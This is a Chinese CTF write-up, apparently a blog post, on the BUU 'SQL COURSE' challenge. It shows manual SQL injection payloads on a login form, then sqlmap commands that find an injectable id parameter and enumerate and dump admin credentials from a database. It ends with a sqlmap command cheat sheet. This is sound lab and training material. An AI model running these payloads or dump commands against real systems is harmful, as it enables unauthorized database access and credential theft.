【Baisc】BUU SQL COURSE


前言

继续肝


一、BUU SQL COURSE

请添加图片描述
看标题大概率考的是SQL注入在这里插入图片描述
直奔注入点在这里插入图片描述
先简单的注入尝试一下

' OR '1'='1

请添加图片描述

admin' --

请添加图片描述

admin' OR '1'='1' --

请添加图片描述

' UNION SELECT 1,2,3 --

请添加图片描述
我淦咋都不行,直接上工具sqlmap启动在这里插入图片描述

打开控制台在这里插入图片描述
找到URL
在这里插入图片描述

sqlmap -u "目标URL" --data "username=你表单数据提交的admin&password=你表单数据提交的password"

请添加图片描述
请添加图片描述
6…用sqlmap检测到POST参数username和password都不是动态的,好一个声东击西emmmm

再次对页面进行分析在这里插入图片描述
既然注入点不在登陆里,那么大概率在热点里

进入检查找一找
请添加图片描述
我淦老六,藏这了…

秉承着能自动不手动的原则

sqlmap -u "目标URL" --batch

在这里插入图片描述
成功检测到URL并且id参数被检测为动态
继续分析在这里插入图片描述
检测到 id 参数存在SQL注入,并确认可以通过布尔盲注(Boolean-based blind)进行注入。

在这里插入图片描述
发现 id 参数还可以通过基于时间的盲注(Time-based blind)和通用联合查询(UNION query)进行注入。

在这里插入图片描述
以上这些就是检测到的注入点

下面咱们看看他后台都有哪些数据库

sqlmap -u "目标URL" --dbs

在这里插入图片描述
有6个库
默认系统库除外news,test,ctftraining具体在哪个呢咱们一个一个试试,先试试news吧

sqlmap -u "目标URL" -D news --tables

在这里插入图片描述
找到的俩表,这个admin很有可能是

接下来看看表里的所有列

sqlmap -u "目标URL" -D news -T admin --columns

在这里插入图片描述
欧呦,找到了

接下来提取一下这个表里的数据

sqlmap -u "目标URL" -D news -T admin --columns -C username,password --dump

在这里插入图片描述
找到账号和密码喽
登陆试一下在这里插入图片描述
小小flag,拿下!

二、知识点

sqlmap

sqlmap 是一个强大的自动化SQL注入工具,常用于渗透测试和安全审计。

基本用法:
这个基本命令用于检测和利用目标URL的SQL注入漏洞

sqlmap -u "目标URL"

指定HTTP方法
默认情况下,sqlmap 使用GET请求。你可以使用 --data 选项指定POST请求数据

sqlmap -u "http://example.com/login.php" --data "username=admin&password=admin"

指定参数
如果只想测试特定的参数,可以使用 -p 选项:

sqlmap -u "http://example.com/page.php?id=1&name=admin" -p id

列出数据库

sqlmap -u "http://example.com/page.php?id=1" --dbs

列出表

sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables

列出列

sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name --columns

提取数据

sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name -C column1,column2 --dump

解题感悟

服了这道题真的老六,声东击西是给这出题者玩明白了。言归正传这道题考的是mysql注入和sqlmap工具的使用,整体难度偏低但是有陷阱,可以手动操作也可以用sqlmap自动扫,正常情况下可以先手动简单尝试注入,如果不行的话就直接上sqlmap,分析是否为动态是否有注入点。sqlmap在手,flag我有~

  • 26
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值